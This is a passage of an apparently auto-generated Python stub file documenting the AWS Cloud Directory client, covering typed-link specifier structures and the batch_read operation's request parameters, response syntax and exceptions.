'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } } Response Structure (dict) -- TypedLinkSpecifier (dict) -- Returns a typed link specifier as output. TypedLinkFacet (dict) -- Identifies the typed link facet that is associated with the typed link. SchemaArn (string) -- The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . TypedLinkName (string) -- The unique name of the typed link facet. SourceObjectReference (dict) -- Identifies the source object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call TargetObjectReference (dict) -- Identifies the target object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call IdentityAttributeValues (list) -- Identifies the attribute value to update. (dict) -- Identifies the attribute name and value for a typed link. AttributeName (string) -- The attribute name of the typed link. Value (dict) -- The value for the typed link. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } } :returns: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call """ pass def batch_read(DirectoryArn=None, Operations=None, ConsistencyLevel=None): """ Performs all the read operations in a batch. See also: AWS API Documentation Exceptions :example: response = client.batch_read( DirectoryArn='string', Operations=[ { 'ListObjectAttributes': { 'ObjectReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123, 'FacetFilter': { 'SchemaArn': 'string', 'FacetName': 'string' } }, 'ListObjectChildren': { 'ObjectReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'ListAttachedIndices': { 'TargetReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'ListObjectParentPaths': { 'ObjectReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'GetObjectInformation': { 'ObjectReference': { 'Selector': 'string' } }, 'GetObjectAttributes': { 'ObjectReference': { 'Selector': 'string' }, 'SchemaFacet': { 'SchemaArn': 'string', 'FacetName': 'string' }, 'AttributeNames': [ 'string', ] }, 'ListObjectParents': { 'ObjectReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'ListObjectPolicies': { 'ObjectReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'ListPolicyAttachments': { 'PolicyReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'LookupPolicy': { 'ObjectReference': { 'Selector': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'ListIndex': { 'RangesOnIndexedValues': [ { 'AttributeKey': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Range': { 'StartMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'StartValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'EndMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'EndValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ], 'IndexReference': { 'Selector': 'string' }, 'MaxResults': 123, 'NextToken': 'string' }, 'ListOutgoingTypedLinks': { 'ObjectReference': { 'Selector': 'string' }, 'FilterAttributeRanges': [ { 'AttributeName': 'string', 'Range': { 'StartMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'StartValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'EndMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'EndValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ], 'FilterTypedLink': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'ListIncomingTypedLinks': { 'ObjectReference': { 'Selector': 'string' }, 'FilterAttributeRanges': [ { 'AttributeName': 'string', 'Range': { 'StartMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'StartValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'EndMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'EndValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ], 'FilterTypedLink': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'NextToken': 'string', 'MaxResults': 123 }, 'GetLinkAttributes': { 'TypedLinkSpecifier': { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'AttributeNames': [ 'string', ] } }, ], ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory . For more information, see arns .\n :type Operations: list :param Operations: [REQUIRED]\nA list of operations that are part of the batch.\n\n(dict) --Represents the output of a BatchRead operation.\n\nListObjectAttributes (dict) --Lists all attributes that are associated with an object.\n\nObjectReference (dict) -- [REQUIRED]Reference of the object whose attributes need to be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of items to be retrieved in a single call. This is an approximate number.\n\nFacetFilter (dict) --Used to filter the list of object attributes that are associated with a certain facet.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n\n\n\nListObjectChildren (dict) --Returns a paginated list of child objects that are associated with a given object.\n\nObjectReference (dict) -- [REQUIRED]Reference of the object for which child objects are being listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --Maximum number of items to be retrieved in a single call. This is an approximate number.\n\n\n\nListAttachedIndices (dict) --Lists indices attached to an object.\n\nTargetReference (dict) -- [REQUIRED]A reference to the object that has indices attached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nListObjectParentPaths (dict) --Retrieves all available parent paths for any object type such as node, leaf node, policy node, and index node objects. For more information about objects, see Directory Structure .\n\nObjectReference (dict) -- [REQUIRED]The reference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nGetObjectInformation (dict) --Retrieves metadata about an object.\n\nObjectReference (dict) -- [REQUIRED]A reference to the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\n\n\nGetObjectAttributes (dict) --Retrieves attributes within a facet that are associated with an object.\n\nObjectReference (dict) -- [REQUIRED]Reference that identifies the object whose attributes will be retrieved.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nSchemaFacet (dict) -- [REQUIRED]Identifier for the facet whose attributes will be retrieved. See SchemaFacet for details.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n\nAttributeNames (list) -- [REQUIRED]List of attribute names whose values will be retrieved.\n\n(string) --\n\n\n\n\nListObjectParents (dict) --\nObjectReference (dict) -- [REQUIRED]The reference that identifies an object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --\nMaxResults (integer) --\n\n\nListObjectPolicies (dict) --Returns policies attached to an object in pagination fashion.\n\nObjectReference (dict) -- [REQUIRED]The reference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nListPolicyAttachments (dict) --Returns all of the ObjectIdentifiers to which a given policy is attached.\n\nPolicyReference (dict) -- [REQUIRED]The reference that identifies the policy object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nLookupPolicy (dict) --Lists all policies from the root of the Directory to the object specified. If there are no policies present, an empty list is returned. If policies are present, and if some objects don\'t have the policies attached, it returns the ObjectIdentifier for such objects. If policies are present, it returns ObjectIdentifier , policyId , and policyType . Paths that don\'t lead to the root from the target object are ignored. For more information, see Policies .\n\nObjectReference (dict) -- [REQUIRED]Reference that identifies the object whose policies will be looked up.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nListIndex (dict) --Lists objects attached to the specified index.\n\nRangesOnIndexedValues (list) --Specifies the ranges of indexed values that you want to query.\n\n(dict) --A range of attributes.\n\nAttributeKey (dict) --The key of the attribute that the attribute range covers.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nRange (dict) --The range of attribute values being selected.\n\nStartMode (string) -- [REQUIRED]The inclusive or exclusive range start.\n\nStartValue (dict) --The value to start the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nEndMode (string) -- [REQUIRED]The inclusive or exclusive range end.\n\nEndValue (dict) --The attribute value to terminate the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\nIndexReference (dict) -- [REQUIRED]The reference to the index to list.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\nNextToken (string) --The pagination token.\n\n\n\nListOutgoingTypedLinks (dict) --Returns a paginated list of all the outgoing TypedLinkSpecifier information for an object. It also supports filtering by typed link facet and identity attributes. For more information, see Typed Links .\n\nObjectReference (dict) -- [REQUIRED]The reference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nFilterAttributeRanges (list) --Provides range filters for multiple attributes. When providing ranges to typed link selection, any inexact ranges must be specified at the end. Any attributes that do not have a range specified are presumed to match the entire range.\n\n(dict) --Identifies the range of attributes that are used by a specified filter.\n\nAttributeName (string) --The unique name of the typed link attribute.\n\nRange (dict) -- [REQUIRED]The range of attribute values that are being selected.\n\nStartMode (string) -- [REQUIRED]The inclusive or exclusive range start.\n\nStartValue (dict) --The value to start the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nEndMode (string) -- [REQUIRED]The inclusive or exclusive range end.\n\nEndValue (dict) --The attribute value to terminate the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\nFilterTypedLink (dict) --Filters are interpreted in the order of the attributes defined on the typed link facet, not the order they are supplied to any API calls.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nListIncomingTypedLinks (dict) --Returns a paginated list of all the incoming TypedLinkSpecifier information for an object. It also supports filtering by typed link facet and identity attributes. For more information, see Typed Links .\n\nObjectReference (dict) -- [REQUIRED]The reference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nFilterAttributeRanges (list) --Provides range filters for multiple attributes. When providing ranges to typed link selection, any inexact ranges must be specified at the end. Any attributes that do not have a range specified are presumed to match the entire range.\n\n(dict) --Identifies the range of attributes that are used by a specified filter.\n\nAttributeName (string) --The unique name of the typed link attribute.\n\nRange (dict) -- [REQUIRED]The range of attribute values that are being selected.\n\nStartMode (string) -- [REQUIRED]The inclusive or exclusive range start.\n\nStartValue (dict) --The value to start the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nEndMode (string) -- [REQUIRED]The inclusive or exclusive range end.\n\nEndValue (dict) --The attribute value to terminate the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\nFilterTypedLink (dict) --Filters are interpreted in the order of the attributes on the typed link facet, not the order in which they are supplied to any API calls.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nNextToken (string) --The pagination token.\n\nMaxResults (integer) --The maximum number of results to retrieve.\n\n\n\nGetLinkAttributes (dict) --Retrieves attributes that are associated with a typed link.\n\nTypedLinkSpecifier (dict) -- [REQUIRED]Allows a typed link specifier to be accepted as input.\n\nTypedLinkFacet (dict) -- [REQUIRED]Identifies the typed link facet that is associated with the typed link.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n\nSourceObjectReference (dict) -- [REQUIRED]Identifies the source object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nTargetObjectReference (dict) -- [REQUIRED]Identifies the target object that the typed link will attach to.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n\nIdentityAttributeValues (list) -- [REQUIRED]Identifies the attribute value to update.\n\n(dict) --Identifies the attribute name and value for a typed link.\n\nAttributeName (string) -- [REQUIRED]The attribute name of the typed link.\n\nValue (dict) -- [REQUIRED]The value for the typed link.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n\nAttributeNames (list) -- [REQUIRED]A list of attribute names whose values will be retrieved.\n\n(string) --\n\n\n\n\n\n\n\n :type ConsistencyLevel: string :param ConsistencyLevel: Represents the manner and timing in which the successful write or update of an object is reflected in a subsequent read operation of that same object. :rtype: dict ReturnsResponse Syntax { 'Responses': [ { 'SuccessfulResponse': { 'ListObjectAttributes': { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'NextToken': 'string' }, 'ListObjectChildren': { 'Children': { 'string': 'string' }, 'NextToken': 'string' }, 'GetObjectInformation': { 'SchemaFacets': [ { 'SchemaArn': 'string', 'FacetName': 'string' }, ], 'ObjectIdentifier': 'string' }, 'GetObjectAttributes': { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'ListAttachedIndices': { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' }, 'ListObjectParentPaths': { 'PathToObjectIdentifiersList': [ { 'Path': 'string', 'ObjectIdentifiers': [ 'string', ] }, ], 'NextToken': 'string' }, 'ListObjectPolicies': { 'AttachedPolicyIds': [ 'string', ], 'NextToken': 'string' }, 'ListPolicyAttachments': { 'ObjectIdentifiers': [ 'string', ], 'NextToken': 'string' }, 'LookupPolicy': { 'PolicyToPathList': [ { 'Path': 'string', 'Policies': [ { 'PolicyId': 'string', 'ObjectIdentifier': 'string', 'PolicyType': 'string' }, ] }, ], 'NextToken': 'string' }, 'ListIndex': { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' }, 'ListOutgoingTypedLinks': { 'TypedLinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' }, 'ListIncomingTypedLinks': { 'LinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' }, 'GetLinkAttributes': { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, 'ListObjectParents': { 'ParentLinks': [ { 'ObjectIdentifier': 'string', 'LinkName': 'string' }, ], 'NextToken': 'string' } }, 'ExceptionResponse': { 'Type': 'ValidationException'|'InvalidArnException'|'ResourceNotFoundException'|'InvalidNextTokenException'|'AccessDeniedException'|'NotNodeException'|'FacetValidationException'|'CannotListParentOfRootException'|'NotIndexException'|'NotPolicyException'|'DirectoryNotEnabledException'|'LimitExceededException'|'InternalServiceException', 'Message': 'string' } }, ] } Response Structure (dict) -- Responses (list) -- A list of all the responses for each batch read. (dict) -- Represents the output of a BatchRead response operation. SuccessfulResponse (dict) -- Identifies which operation in a batch has succeeded. ListObjectAttributes (dict) -- Lists all attributes that are associated with an object. Attributes (list) -- The attributes map that is associated with the object. AttributeArn is the key; attribute value is the value. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. NextToken (string) -- The pagination 